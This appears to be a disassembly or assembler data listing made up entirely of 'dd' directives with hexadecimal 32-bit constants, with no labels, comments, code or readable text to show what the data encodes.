dd 5FCBE40h, 31667156h, 41DCC5F7h, 8F697B67h, 0E4102F3Bh
dd 6DF94F07h, 362CEF80h, 0CC16E32h, 7870AA5h, 8F6502Ah
dd 15140C68h, 0BB94955Ah, 71494B2Dh, 0CE5FCAC6h, 0C6049F93h
dd 682FCCACh, 763DCA2Dh, 875E5497h, 358425ADh, 0B3E3AFD6h
dd 2111028Dh, 0F0F52E5Dh, 0C8FE2745h, 834EF8FBh, 0C9DEB5ADh
dd 0DF996A3h, 0D8BE5BE4h, 47417564h, 7B5B017Eh, 860A457Ah
dd 0C4F6BA24h, 8BF1316Ch, 7C4CFBAFh, 6BBF849Bh, 886F16EEh
dd 5FB05ECCh, 4C4AF127h, 0F34EB77h, 1339B009h, 0C52E0D1h
dd 0F6FFBA03h, 6AEC3C5Fh, 0E22BB741h, 3D9C7ACh, 0E3BB5935h
dd 62023A43h, 61D0F742h, 0D93B53B4h, 0BA9D2F16h, 0CC1A18CEh
dd 0E1A97F95h, 14360E00h, 1FBB5A35h, 7148927h, 0C7F2D104h
dd 3F5FF008h, 2F751FF9h, 64D449F6h, 0E0DECB6Fh, 728850FCh
dd 36E25CECh, 9DB87D27h, 60E1262Ch, 3801B7BEh, 0E925B050h
dd 0C62654D5h, 0D42CBE92h, 41151FB7h, 0C3F58349h, 0E9B19D7Bh
dd 251F7A01h, 0FE0051DCh, 0F6805B66h, 0C07CFC47h, 41E58163h
dd 1E4B965Fh, 6D031AA9h, 55BD10D1h, 0E37D398Fh, 60C02F0h
dd 12C5F69h, 75C92B77h, 11838BCCh, 0EC7A81EDh, 68350766h
dd 0CE22C85h, 30276312h, 52C1FE9Dh, 285CB279h, 958A5026h
dd 5801B080h, 0E77D6680h, 77D6EDD5h, 0A054B7DEh, 0C2481038h
dd 5BF88844h, 0C2F2536Ch, 40535827h, 25E9FDF4h, 54AABACBh
dd 768843Dh, 0ACFE1F0Ah, 5821340h, 0C12E228Eh, 3C2430C2h
dd 2B500F68h, 0B0720F19h, 4BF472EFh, 3DB85700h, 3179C35Fh
dd 6EE925E8h, 0B8F7678Bh, 97623F6Eh, 0B109F2C7h, 5A6B5649h
dd 0C9B6F95Dh, 7AA0B78Eh, 310539FAh, 0EEB0C11Fh, 0B6A95DADh
dd 89808F7Fh, 96272F9h, 618B38A0h, 8A0B05Eh, 0AB68D696h
dd 201EFD2Fh, 6AD21440h, 0B8C5DF0Ch, 2DC4A12Fh, 0B07D66AAh
dd 973887A5h, 840FD1Ah, 0C5B7110Fh, 533F011Dh, 0C0B45051h
dd 4EA4E588h, 0A7C276B5h, 0C94E1F40h, 0D6784881h, 2ED62F79h
dd 44F895Eh, 14B82728h, 5204D192h, 0E90B8954h, 31A0A259h
dd 2CFCFBDAh, 6A746023h, 0E92FD1FDh, 0DF5C6284h, 8C88C54Dh
dd 0CEB504C0h, 0AC078128h, 0EA81013Ch, 2C20A56Eh, 69E9A026h
dd 0E3ECBF03h, 60BF8195h, 0E9C84D55h, 475E417Fh, 82B4726Ah
dd 6F5E717Dh, 1C7327C6h, 59C82113h, 9E5BD7F6h, 19E9096Ch
dd 35F15F0Ah, 0AA855549h, 0BB07D2C7h, 0BD184E75h, 44BD7AF2h
dd 8B752022h, 0C34A6D90h, 2A7CE6EDh, 77BBB12Eh, 3AB92FF3h
dd 0D80BC67Ah, 0F2A2A59Ah, 0B53820D8h, 18ED2D4Bh, 56830975h
dd 66602FB1h, 4D05D2BBh, 29E93EE4h, 8F50E749h, 11B4D27Dh
dd 3F2B41A9h, 0DD0279C5h, 40BB272Ch, 8341F223h, 17071C3Ch
dd 24EE22AAh, 0A199AB05h, 5C8DE5CDh, 3B2488DEh, 1FF6AF1h
dd 0C9F7815Fh, 8C0E0533h, 1C2E1F0Ch, 24B5BE9h, 0C9FE5AB9h
dd 87A4F871h, 10E7FD14h, 5E04EBB6h, 0BC0AE268h, 72DFC1C0h
dd 0B7387960h, 0B693B87Bh, 586C0817h, 2076BA00h, 5C312F4Eh
dd 1C22AFEAh, 5297C1B0h, 1DB180DFh, 14C382Bh, 8116C3A6h
dd 3BE4BF57h, 0D83892F4h, 5E8B8FB0h, 5C29AA0Ch, 0A04AF82Eh
dd 3412E8C1h, 0C205C831h, 1DD0AA96h, 0DFDAF72Dh, 0BCC224ABh
dd 0FDC0A08Fh, 98E98F02h, 355A4660h, 481270D8h, 47208618h
dd 7D2C5B16h, 0AB2DF3BCh, 0EA4F5CD1h, 0D40CF177h, 1EB96E63h
dd 2D1F6808h, 0C59D51F8h, 7253FF9h, 8543675Dh, 0D8277B68h
dd 0D198ACDh, 0D0665803h, 0D80EAA54h, 680D185Fh, 5B1D1CCAh
dd 0ACDDA511h, 4E6C9A0Dh, 40C4445h, 6041F5C3h, 21F92BAh
dd 684926D4h, 0A5AD5B7Eh
dd 81A534DFh, 0F7DCE7E3h, 0EF81251Ch, 0EAE928A1h, 5FC2A37h
dd 0CBBE558Eh, 339ABEDFh, 0E4703DDh, 0BB4C0240h, 62536373h
dd 0C0B242DDh, 27A1F7CFh, 19833B88h, 0DFA8D325h, 9159E90Ah
dd 29AE5EF4h, 93F67F7Eh, 0B6E76813h, 6C151776h, 71BE4E01h
dd 0E683EC02h, 0D01349C6h, 4073A9DDh, 46975A08h, 0B4575028h
dd 585D7FA0h, 4420D531h, 74B9AF83h, 2128356Dh, 61B86E77h
dd 6246012Fh, 903EE912h, 0EE959CFEh, 942D7B90h, 0C9C47973h
dd 1608FA5Dh, 0A9C032E9h, 0CB04925Fh, 7CB44B92h, 1A87AC3h
dd 38AEB8D2h, 2E017FF2h, 0C55B07F9h, 9A0A9C1Fh, 923F9E41h
dd 8AE06ACCh, 55485748h, 50A005CDh, 1FA833A9h, 5ADC0978h
dd 2076414Dh, 5AF4FA9Eh, 4A5EC5C1h, 87BF5680h, 0F765367Dh
dd 312D748h, 5CF16151h, 4307909h, 4D351CCAh, 81C68562h
dd 0F01B23C6h, 5F12E1E9h, 50BB0237h, 4A7D08F1h, 59DFC014h
dd 6802DA2Dh, 0D829518Eh, 0E9078105h, 11258CA6h, 41D4EF60h
dd 52D12F10h, 5E3111F1h, 213A02D9h, 4D1414Dh, 2FFBE680h
dd 187658EEh, 611D5C05h, 22AC016Eh, 6E41F4F5h, 95EF6417h
dd 54942C7Bh, 6B8E5966h, 0E544285Fh, 0FE5F5742h, 0EC509548h
dd 0BC7F5F1Fh, 0E556C996h, 0DED8C24Bh, 5180F553h, 0DF34C0B9h
dd 4D5906Bh, 66734EA0h, 494B8009h, 0A2675BE9h, 2A17C237h
dd 0A8012D32h, 581A08FFh, 5C6ADF1Eh, 0AC7D048Bh, 5AE9C868h
dd 0F0291E83h, 6D29A770h, 33A1D55Eh, 3DEE2F20h, 0D14B283Eh
dd 0D01FF6A0h, 0F8ED7FB3h, 861B4277h, 4D6C150h, 1433C8E8h
dd 0E9FA8017h, 19952B08h, 0F47FDE4Ah, 949D1412h, 7DDBB5AAh
dd 3F17C50Eh, 0B20C5698h, 3593255Eh, 1130A979h, 97BE3CE9h
dd 7C9D68EEh, 0D6757279h, 0DB3E676Fh, 5362D1D6h, 80DEEE54h
dd 7B210D98h, 4FEE907Ah, 6A21AA66h, 0A82E8C1Bh, 0A34B9E0Eh
dd 70BED763h, 0D4F3E92Dh, 3FD8A89h, 0E5839C5Eh, 84C645D5h
dd 0FE1679E9h, 0B3543572h, 5771F41Ch, 0E3C94468h, 805F25AFh
dd 640B811h, 2D6802ACh, 2E21DABFh, 0BB04E1h, 0BF59692Ch
dd 2BC88531h, 83BDC300h, 9732EE63h, 488D2860h, 8E693A96h
dd 32B1D253h, 8191F122h, 0ADD34413h, 1D771048h, 0A505BE5Fh
dd 31EE105Ch, 337F5793h, 6AF878FFh, 969FC07Ah, 5A61209Fh
dd 59EB2800h, 0FE71B652h, 4A06FAC6h, 6D0C90A1h, 8279D5Eh
dd 81C85447h, 0F9CAADE1h, 60EE2121h, 0E9244235h, 59AF10D7h
dd 80E9C1B8h, 0F2081F0h, 7E1868C8h, 0A9EEB459h, 0CD8600EEh
dd 1244B634h, 0A3C5685Ah, 2D90611Eh, 64C2D05Ch, 6C3602B2h
dd 0C1E91E6Fh, 0FD916A57h, 524FBBD2h, 48EB3D89h, 0E103B0AEh
dd 12193EFBh, 34C80C06h, 97C203Fh, 26ED602Ch, 83EFC284h
dd 0A8D9F796h, 3CAE2BBFh, 241B16Ah, 534F464h, 876814ACh
dd 37B44567h, 241000E6h, 0D071A1Fh, 0E17EB601h, 5178E960h
dd 0AE04AC00h, 0BA401DB8h, 95F4BFB9h, 18132910h, 7D7C29C5h
dd 9E9B0013h, 75E9C121h, 0F227C05Fh, 347E033Bh, 6BBF83A3h
dd 6C689E20h, 6625D329h, 0F9A0755Dh, 8619738Ch, 2CE9893Eh
dd 0BA838453h, 0D26CAA1Ah, 68F0A1A7h, 0DE4D73BDh, 543BF48Bh
dd 560D07DEh, 25313469h, 0C11FD130h, 0D56F500Dh, 5940004h
dd 0EF774B0Dh, 68082110h, 0B024140Ch, 0FED32020h, 319A2F05h
dd 3602CDD9h, 5F8F8301h, 25A04805h, 0F1A3A8B4h, 9220478Fh
dd 0B62EFFAEh, 0EBD54087h, 45AD3200h, 3637710Dh, 0C2E91056h
dd 0D7892549h, 0C4B7B916h, 0B2B5EE8h, 245D5D9Dh, 0F2957C5Bh
dd 0CABE2253h, 1E711666h, 76FA0061h, 2B81BE04h, 5902497Eh
dd 0DB8FFC55h, 0CCAEDD4Ah, 14160C5h, 379E4888h, 154560Bh
dd 76656864h, 37CF7868h, 826B4925h, 0A49B2A78h, 522825C7h
dd 355C0915h, 53EB99DFh, 79CB690h, 34CAB050h, 0C2E346EFh
dd 35480214h, 89AE561h, 3A4AD877h, 642E1B4Ah, 7EF1490h
dd 5B2CF48h, 54BF8FFh, 0BD1CB32Dh, 6204AF5Ch, 0F7CD45ECh
dd 53350A7Bh, 0CBA696h, 1D6A73F8h, 38FCF129h, 9AFF549h
dd 82CF09CDh, 0DF9B1AC0h, 189DDB2h, 5EA639DCh, 23351A18h
dd 135E3D21h, 0ACCEE23Fh, 3B2C43Eh, 0AC5C65FEh, 72D7DBEh
dd 5BB1A436h, 288541C8h, 583E23Bh, 0F13170E9h, 0D9A0047Bh
dd 823C1F7Eh, 0ADC24BD3h, 85714089h, 2373BFF2h, 17085CC9h
dd 0AE98AF45h, 80CD09FEh, 8E5F3AEDh, 4D8646Ah, 684981BBh
dd 500A6843h, 63D322FCh, 780AE003h, 90C9B07Ah, 2F2C3D53h
dd 0A9C54292h, 616D9F2Eh, 0F4F02D83h, 299490B0h, 2D132A9Ah
dd 952FF74h, 2FD9F5F0h, 22395C59h, 0B446EA16h, 52780A39h
dd 49D97F4Ch, 0F65E25FBh, 0E257256Ah, 0E9B91869h, 0F4C05EC5h
dd 3B5A3AADh, 0E90C1BDAh, 532CE43Fh, 2BC4680Bh, 0F6D20E16h
dd 41F16C53h, 0CBBCAC3Ah, 0B50E72BFh, 923F8959h, 4B53E8DCh
dd 622DAA83h, 4E93842Fh, 0E055D99Ah, 0B654520h, 0C3E946F3h
dd 0DF9702F8h, 689AC031h, 74194C69h, 59CFE76h, 30FD6860h
dd 582E004Fh, 0B6F6252Dh, 362DE90Eh, 611D3273h, 3C7B12D6h
dd 4E171FDh, 0AC7EE0B1h, 60492DC9h, 39C7801Dh, 6681FE14h
dd 30EEB450h, 0E22FDBE7h, 0BF09007Ch, 7A692ABCh, 0F7EC6040h
dd 0C828AA04h, 0ACF62C74h, 6D27564Ah, 0BCE2E235h, 0B6774CC7h
dd 23FEA015h, 5266E500h, 0DA1383BAh, 920F95Ch, 0E0CD0BE6h
dd 1882D509h, 0F8742140h, 0F92E8560h, 48E9171Dh, 0DA85D0DBh
dd 63765653h, 0B52DEE01h, 0CEE961BBh, 581C577Ch, 0BE658725h
dd 2F03502Bh, 0F72C29FBh, 620554D0h, 0E9AC3B1Ch, 0E170CD3Fh
dd 6B069D3Eh, 12490404h, 0EB8043D1h, 4EBD5530h, 82E5340Dh
dd 0C31B63FAh, 0C4448D7Dh, 0C21236B6h, 5E555B96h, 0FE74506Dh
dd 8CCF0490h, 0B48E0607h, 94F99F34h, 80E82F3Eh, 5DA7B896h
dd 89705CEDh, 0BA0C8D20h, 0FE25158Eh, 7A4163F3h, 0B653568h
dd 8DFFEA14h, 0B2CD0476h, 284A13EDh, 7A35A1D0h, 4D657BDBh
dd 0BD03083Dh, 173A475Bh, 3E5540D1h, 66073BA7h, 4B1AD8BDh
dd 3FF33F82h, 7183CD6h, 98E8C512h, 0E955095Eh, 6CDDCA95h
dd 55EDF67Ah, 2268D798h, 17E30D50h, 3785F2Eh, 541B6002h
dd 0D2F74AB0h, 0B054258h, 2F8476Fh, 5F618549h, 0CE4AE7Eh
dd 4AE94DC8h, 0C1288476h, 0D084F1B8h, 0B5A17EE6h, 2C3AFD02h
dd 0EE800B14h, 0E8FCE81Eh, 82D582A4h, 4E34CDh, 8F2DBCB9h
dd 43BD2101h, 31DE70D2h, 21262D3Bh, 70FC6F04h, 77D3905Eh
dd 285B2539h, 14D81FAAh, 0E9850C6Ch, 681CD04Eh, 279137B3h
dd 5E1285A6h, 0CBABF556h, 22085A87h, 0BE501218h, 0AA69B568h
dd 5840F5C0h, 5520672Ah, 0B2581D68h, 1C98E212h, 6A3A8D0Dh
dd 0C1E16806h, 41E0846h, 5550FCC3h, 0A050BF78h, 0F6E90908h
dd 4DFB57C0h, 0D759CD8Bh, 81A87EC7h, 4FA9F449h, 68D336B1h
dd 0FDC1384h, 0ECD2DFDEh, 313E7E23h, 0C8FB4EFAh, 222DE96Ah
dd 0A8AE6C4Bh, 0B77842AEh, 0DB963354h, 463509E1h, 8B28F67Eh
dd 17E7F55Ah, 0CC40B027h, 0F0B880A1h, 15126116h, 0F417141Fh
dd 7FBF2D82h, 2AB3BFA9h, 0FE579DA2h, 840F6100h, 0AA8D6h
dd 18097C25h, 0E1F2D91h, 0E9504D3Ah, 536AC34Bh, 12539F0h
dd 80491205h, 0D5594790h, 1B559762h, 0A63E1348h, 0E0BE8987h
dd 3CD21C15h, 3FE2E1FAh, 5D627438h, 59304D6h, 0FE1BBB25h
dd 0A37E486Dh, 0B66817D7h, 0C0A034BAh, 0D16C26FDh, 20944776h
dd 0B24ECD02h, 97BC217h
dd 0DE8FC006h, 0B82E2A93h, 0F9895FCCh, 0D5AE93A0h, 0E87685D7h
dd 0E2280E6Ch, 0D0133C58h, 901860F2h, 7B06D10Bh, 8194AFBCh
dd 0C0F80DD1h, 0C04263F0h, 4945DF48h, 9A945D25h, 68051499h
dd 1EF823E4h, 98DF67DFh, 0C418F723h, 8F311B7Fh, 812C7E34h
dd 0B4917DEh, 24AE1D91h, 273D105Ah, 0DCCCA357h, 0BF13018Dh
dd 69BA16A6h, 97A4FD81h, 0EF99890Dh, 0B92CBE3Bh, 0C0B2CE9h
dd 1BC78205h, 3772301Ch, 642E45E6h, 7C0BE061h, 50034842h
dd 0B1BC5AB8h, 73042A4Bh, 8809D1A9h, 5DA842F5h, 0E961BE65h
dd 202B3E8Bh, 3DB2528Fh, 0D18807C5h, 0BCC5382h, 188755Ch
dd 0F35E144Fh, 4077EF26h, 3331FDF1h, 0E8897E27h, 3F38DEBAh
dd 0E6820FCBh, 486A3EDFh, 2E1925E0h, 997DB0Ch, 2DD048F7h
dd 0ACEAFEFCh, 51519841h, 28AFB8Dh, 92B4FE5Ch, 5EBD829Eh
dd 9B582C56h, 8F7B957Ah, 0B6AEDB13h, 0C656362Ch, 68089659h
dd 4D623D32h, 900162Ah, 4F850FDBh, 6884C05Dh, 18971CE5h
dd 80DC2939h, 0C81ED505h, 4F89EF9Fh, 2E5AABh, 0EADE7DF6h
dd 86685183h, 0CD1F0B55h, 20D1D5F2h, 0E977CABCh, 0FA97A79Ah
dd 0DDF648A1h, 8923081Fh, 0E0640D63h, 2C6EB43Dh, 74A79E28h
dd 31358B02h, 0EA01F720h, 0F4BB5E68h, 9E06DE83h, 0F7FAFA7Ch
dd 952CBC52h, 0D80C175h, 417A0903h, 1C12C83h, 0F7518417h
dd 40C4E614h, 0F304C7FAh, 0CE0117DBh, 0E50D5E3h, 0EBB4806Eh
dd 0A2C53BE1h, 0A8C9C8AEh, 0CB2AF99Fh, 1B027C0Bh, 0D0A04971h
dd 98568C3h, 8D6282B4h, 0F71840F9h, 0FB4B0DBh, 356C2397h
dd 0CD2CFDA7h, 0E1AA311Ah, 32FA60B5h, 0C14A9090h, 0D52F1CDDh
dd 1002AC9Ah, 2D036277h, 410B361Ah, 7DCE68D8h, 3839C889h
dd 0E4700D76h, 1428777h, 2823279h, 27FB6153h, 4CD2F72Eh
dd 0F2BE929Ch, 0CB283449h, 0A30DFCEEh, 8B1C4E1Ah, 3CB31CC8h
dd 3FB0D812h, 0CDB959E9h, 0F1ED8009h, 0E62EF6D2h, 28599D58h
dd 3BA3B87Bh, 0E9D80A1Ch, 0AD8BD591h, 50E0F72Dh, 0D62EF68h
dd 7EA85F9h, 0F447A1BAh, 4DE93057h, 43FD0E8h, 124AB0D1h
dd 7F3542E4h, 0A1CA062Bh, 186A1C3Eh, 0D81AD709h, 3AF7D80Dh
dd 0AECAC35Fh, 5E9A2B80h, 0B1C4CF5h, 0F5F89628h, 652E0C82h
dd 0A8DD6AA8h, 87090862h, 0B27204F2h, 56575B00h, 1413D668h
dd 31D14205h, 0C26627DDh, 2946A44Bh, 2A4EF0C9h, 2D3849C0h
dd 7819D6F1h, 784833E9h, 0CCEF92F9h, 215E9F81h, 44DCCBA5h
dd 0FFBB7EFh, 1A266886h, 2F032F49h, 9C631D5Ch, 25C17E9Bh
dd 457F7C7Fh, 0BD2E8BCBh, 0C9254A79h, 4630C095h, 0D6F2BFDAh
dd 985B6A25h, 1270048Ch, 855E3B17h, 382CEEF7h, 0AD008A01h
dd 2BA54067h, 0BD82DFB8h, 37E90801h, 0A2487F38h, 8A90A3ABh
dd 0BC519137h, 1089F92Dh, 0E48C9765h, 0B0478505h, 0EC315FF2h
dd 6AF11248h, 3F868ABAh, 8C2B2C52h, 0D2C28081h, 0EAD5CA28h
dd 128259D5h, 5AF8E99Dh, 0B36CD1A5h, 0E5257D7Ah, 0E16DF7D9h
dd 2D8EA588h, 638166DEh, 5F544109h, 701AF61h, 2970C731h
dd 0A3D19551h, 0D030DFE9h, 0C502EF81h, 1536027h, 9BAC2F7h
dd 4768508h, 0B2FE40BEh, 89303E12h, 4FD4789Fh, 3FBA0DDh
dd 21258C1Ah, 0F0A20016h, 5A75F302h, 0FD930909h, 0DC576342h
dd 6E58D9CCh, 0A7FAF685h, 2C57305Fh, 4FF269C9h, 333FC65h
dd 1BF3BD55h, 0EF31893Ch, 5034282Eh, 6D386C98h, 69EA4B40h
dd 9FC3A07h, 0CEC944A4h, 84871FFCh, 1F92C328h, 42A0DEB4h
dd 76091D8Eh, 0E79D3940h, 84F78C6Ah, 30068D12h, 0E1205BFCh
dd 21E913F9h, 8C978DECh, 57256369h, 0E15D60E8h, 422BF068h
dd 0BC596E30h, 1EA07969h, 14F92975h, 994B08C1h, 8C4DD1C6h
dd 0B5E0EB93h, 5DC2BFBAh, 0CE533D5Eh, 400E900Ch, 445A6859h
dd 0CB93A11Eh, 0A368255Fh, 1205615Ah, 0FA01E8D1h, 1F5A7046h
dd 914454F4h, 7E933B87h, 0CCCAE86Bh, 98316D63h, 986825DBh
dd 26C2FD7Eh, 0E9540061h, 1EAAF9BCh, 720BB55Ch, 767DFA7h
dd 0A0E1F309h, 2F7CB4F3h, 80A09C4Bh, 4FC1594Eh, 51BD5429h
dd 7D0CA0F4h, 0C173B55Ah, 4BBE2121h, 8676A8B5h, 5142045Bh
dd 2482EC56h, 0F84EF6D0h, 0ED283D06h, 41D6F921h, 88F0B33Fh
dd 6F5B54DCh, 0ABD14C21h, 75A9058Bh, 0AD2415DFh, 412DB24Ch
dd 541C971h, 24A6B27Bh, 5895D698h, 835EC596h, 158DA7BBh
dd 780BB8BAh, 20DFD82Fh, 98024850h, 108CC164h, 3B11EDBFh
dd 1EED56BBh, 532D03Fh, 57596852h, 0EA5AF30Ch, 0DAF1B7A1h
dd 0B702F5C9h, 3BAB2876h, 29045902h, 4ED26E5Fh, 0BF3000F5h
dd 0D053364h, 5B9484B5h, 2E5CCFBBh, 0D6424408h, 1C322F4h
dd 0FC9652Fh, 0B0BA97D5h, 0F03E29C4h, 302F9B51h, 2A95B1CBh
dd 0ADBBA154h, 0DEBA9605h, 0F6B8013Ch, 481A6649h, 0CB487DC6h
dd 1808430Eh, 3FC2013Eh, 3E59E327h, 0B037F242h, 9E1E26C5h
dd 7BC78242h, 2FC108AFh, 56F602CFh, 0EB619A50h, 74A5A45Ch
dd 20DDD27Bh, 0D74E52EDh, 45D7B03Fh, 51349391h, 0B7CA6CAFh
dd 0BA01BA96h, 2B73301Ah, 0ED108560h, 4B23EA64h, 0F5303763h
dd 9A62F201h, 0E0F9F754h, 5CDFE942h, 88133F76h, 0A216BE0Ch
dd 7D279ABAh, 77C38BB5h, 41890AE7h, 0C1B59BDFh, 35353C12h
dd 1E25241h, 89D13707h, 0F51CABD5h, 7140AB42h, 0F7396857h
dd 0B8D63E2Fh, 0A798DC8Dh, 0AFA60B3h, 5EFC116h, 0A90D2CC7h
dd 0AEE9E21Ah, 5C0418CBh, 90780227h, 60F931DCh, 23117E5Fh
dd 0E913634Ch, 0A9E9D6AAh, 92244DCBh, 3338058h, 651D162Dh
dd 5240027Eh, 570AA1EBh, 1F9913BFh, 0E7800044h, 4AE079E1h
dd 5EF0A7A0h, 0E907CB0Bh, 0EDF46827h, 2371648h, 1C69FF1Bh
dd 4ED3F67Ah, 66C4F2F2h, 13C388D3h, 0F2DF340h, 37DA7EFDh
dd 0B2509E44h, 2C277833h, 4C4F51B4h, 5D810CF6h, 0B8135632h
dd 0C4D3E864h, 30FB2C70h, 728CF626h, 18E2984Ch, 0E903FFEEh
dd 260696ABh, 29104E28h, 9388CB2Dh, 68510084h, 70661CDEh
dd 260240B5h, 8F991BE3h, 2E349EE9h, 0E4BA4441h, 331ECE30h
dd 31CD0195h, 0B1002215h, 3B6A06E2h, 0E4DA6604h, 40906FDAh
dd 4CB0994Eh, 899FA558h, 9B2038E9h, 39E6850h, 40776425h
dd 4A24E17Bh, 87E1B0EAh, 0BB77539h, 0F7F8D5E9h, 0CFA0DC1Ch
dd 0D1B4E84Dh, 0B4087C6Ah, 7168043Eh, 0C98EAE2Fh, 55257358h
dd 1C3DEEF5h, 2D6AFB68h, 9E371457h, 76DCA7B8h, 834DD7Ah
dd 3BFCDD20h, 0CF92C688h, 0A6E19150h, 0C8BB00BAh, 38873D7Bh
dd 518A0825h, 0B3556215h, 72A45605h, 0C9ED5F1Bh, 7F0AE0C5h
dd 7249D6B5h, 35F187C0h, 5820452Fh, 8E6097E3h, 5A02E77Dh
dd 0E9F301A2h, 933A76E3h, 182FBFE5h, 0BE18D44Dh, 0F8F37D93h
dd 6F0D011Eh, 1F818AD6h, 71DC55ACh, 0F8AF971Dh, 0B8E317CCh
dd 0AD3E543Ch, 370A8AB5h, 9992BD03h, 0DAF8CAD2h, 0D45624F5h
dd 466F8269h, 0D2E3480Ch, 3645FEE1h, 0C2942780h, 0B7D0DFDBh
dd 25707F7Ah, 91638796h, 0BAF7E27h, 0A8EAF090h, 2302D4C2h
dd 90F7FE3Dh, 0B5D5BBA7h, 52975F16h, 0CC16BD6Ch, 95DCCC97h
dd 5D7220FCh, 68418759h, 0A22B583Bh, 2C08D2C7h, 0C591691h
dd 0F5C7D80Eh, 0FD79BC05h, 3CE8553Ch, 212E4920h, 774B3FF9h
dd 19305A2h, 0A4BCE5FDh, 9F52F8Dh, 52384C4h, 0DDB05003h
dd 9250C283h, 80F0F6E9h, 0D551ED27h, 63F7766Bh, 8F02E8D8h
dd 0BF3FFBF7h, 0A378577Fh, 9EB31E49h, 0FAA14952h, 7983B43Bh
dd 4391580Fh, 158EC54Eh
dd 554BB198h, 0E22BBE23h, 0F05A1A21h, 6095D240h, 8A6863E3h
dd 6E7A4C17h, 7F91756Bh, 0F8D5FEC2h, 0C029D56h, 62DD25BDh
dd 990F84D1h, 0FDD68905h, 90CE8055h, 0BF59B62Bh, 233590D8h
dd 55022B7Eh, 0C058C121h, 30F0F47Dh, 0ED580924h, 2A5B2864h
dd 81EB03C5h, 2BB65E6Eh, 0B9F00E2h, 0B2DAE46Bh, 70DD7AC5h
dd 2D55C401h, 0ED40383Fh, 5ACFBD60h, 83C4F307h, 29F69E9h
dd 5BA5EB45h, 0AB7D01B4h, 0CFCD5532h, 22DBE985h, 0B950BFD3h
dd 0D02EAEBAh, 0D11FB8A8h, 11ECB64Eh, 12F00935h, 0E05D93E1h
dd 0EA336BFh, 1287413Fh, 89AFD5F7h, 68A9E5DEh, 4CBE387Eh
dd 4634C121h, 947B59B2h, 680802AEh, 667F09FFh, 452966Ah
dd 0BF3E5637h, 8BEB0462h, 0B34A770Ch, 0D9B0CC50h, 4AA0A89Ah
dd 0D4826C6Fh, 96F5259Fh, 0AF874F60h, 84FFB052h, 0C97EF23h
dd 9063C9F2h, 253A09AFh, 3F725AECh, 8CE90880h, 6B32E24Ah
dd 13D078E4h, 0A8D8F75Eh, 4077075Ah, 0EAF242C6h, 0C1ACCA90h
dd 61A70FB8h, 4C3D02D4h, 85D2273Fh, 0BA094399h, 92EE5136h
dd 0D8A2AE66h, 0E7DD0128h, 3400AFEh, 23424F28h, 843B1812h
dd 1C5C0A9h, 0D8E7BBDAh, 8BADDB85h, 688061B8h, 1F242D9Ah
dd 6438E1E6h, 0BFDF0193h, 0F91CCF09h, 37583F41h, 4C875F36h
dd 8057FCFEh, 0BD40E624h, 13AFF280h, 0D121BF07h, 2495A3Dh
dd 8D0812C9h, 11F3C04Ch, 93DBBC9Dh, 51A5EDC6h, 0B1953E29h
dd 425209BFh, 1FB7D6A0h, 5B48FD28h, 14855E4Eh, 0F88AB295h
dd 0D7350E92h, 0BEA3566Eh, 29CB4769h, 0F4F0AED5h, 59313FCFh
dd 50870F4Ah, 4D45B8E3h, 2E81213h, 5F722909h, 19428714h
dd 0FEEDFA0Bh, 0FBDE3360h, 10D577EDh, 800FDA6Ah, 0C10E14C4h
dd 0B431EE72h, 0F37F3A70h, 0FF8E9356h, 0E95B494Dh, 4C494CB9h
dd 0CF1024C0h, 1A7AF582h, 0FA435542h, 83F3C59Ch, 984EF88Eh
dd 540101C2h, 5C6E1608h, 2FA0C20Ch, 0D2C14654h, 0FE07442Dh
dd 0F56A83B4h, 0F2E60A4h, 482E13B0h, 0CE39ABB7h, 1612613Ah
dd 44BB00D3h, 0A04AE21Ah, 7F6467D6h, 0BA589F6Ah, 0BFD99EA0h
dd 181151C0h, 395E20E2h, 1609BB59h, 0DA00621Bh, 4BA436FEh
dd 55C32927h, 0DBF98E8h, 33656826h, 533FF702h, 7F7BC1C5h
dd 5A5216EFh, 0B243EF51h, 0F1D928E3h, 0BD2A8384h, 1451009Ch
dd 0E3814778h, 0C74C18DFh, 62C4A62Ch, 5D977DE6h, 12C47EAAh
dd 0F8745699h, 97135593h, 4FE897C2h, 0F829BF4Eh, 0C150B7FDh
dd 0B65FF929h, 5C15C06Ah, 80907BAEh, 0D954BF12h, 2C52BB04h
dd 0F1765514h, 0CC3F02E5h, 3041058Dh, 0B13CA07Bh, 0A7AA1A3Dh
dd 0DF120B61h, 0A9B5F3B0h, 25F52980h, 52F4C581h, 0FD015E81h
dd 0A42F6850h, 0D8B55861h, 0B3AC202Bh, 0D8BA5200h, 89E5A5C7h
dd 0B5999AD3h, 60170FD1h, 9F2D9CE0h, 642D46E5h, 0D15B48CCh
dd 25D2CAB7h, 6BF45BE2h, 7CB89E4Ch, 0E3775C06h, 841A14Ch
dd 10F8A22Bh, 0B400BE92h, 7E4C01Bh, 0B190D4F6h, 0E530660Bh
dd 0A06B8058h, 0E4E88850h, 3888F3C6h, 0BD0FEE6Dh, 3DD5C7F2h
dd 0F7E172A2h, 681269CEh, 1BCB1E91h, 0B9E92912h, 519984BEh
dd 0CBCBC252h, 65FA80DDh, 801B2F23h, 0B3206068h, 1CA50B30h
dd 6B852E35h, 10D9417h, 9977C88Fh, 2AD1F18Bh, 0AFBB7140h
dd 0DF3F5B5Ah, 0B4778452h, 66040267h, 0E2E0D522h, 19111D63h
dd 0E32C2961h, 79F0B26h, 5E33977Ch, 690C9B0h, 16519F60h
dd 0A374A868h, 65CB10EEh, 0CDD5011Dh, 20830418h, 6C9164C2h
dd 271E68A5h, 29B7267Dh, 0AE97167Bh, 0E1EE5125h, 1757EC9Ch
dd 0BDAF469Dh, 0EAB9A540h, 261F5B12h, 4AF77CB0h, 0F082D6D1h
dd 0C2059A0Fh, 0EB007337h, 880F99CBh, 0DBF73673h, 0C20142CEh
dd 0E978A721h, 0DE516F7Dh, 3F318CC3h, 9F30C541h, 0DE87BF05h
dd 62DBD8F6h, 0F62E1EDEh, 535D4009h, 12F6B297h, 30A2CE1h
dd 7DB551CBh, 0FCC0FC10h, 0F7FBD25h, 74BF4430h, 2A1ADDFAh
dd 5E02B383h, 0BD03348Fh, 3CD091C8h, 97CFDAC3h, 22F55C2Dh
dd 6AEACD23h, 0C42F5DBh, 0FAC2DB42h, 34AC6E76h, 1F8B752Fh
dd 0D4084674h, 9112818h, 0EB88E28h, 0C5E18FD7h, 0E6AAFDA4h
dd 357713CAh, 0D6BF6F94h, 0DB2ECD18h, 5A6183B2h, 22B86852h
dd 0B73DAF5Fh, 0BA8A2930h, 208FA4D9h, 0B70B85CBh, 84CFFE47h
dd 0BB0E8CE4h, 26692286h, 640D4B4Bh, 297A395Ah, 79DE3FD0h
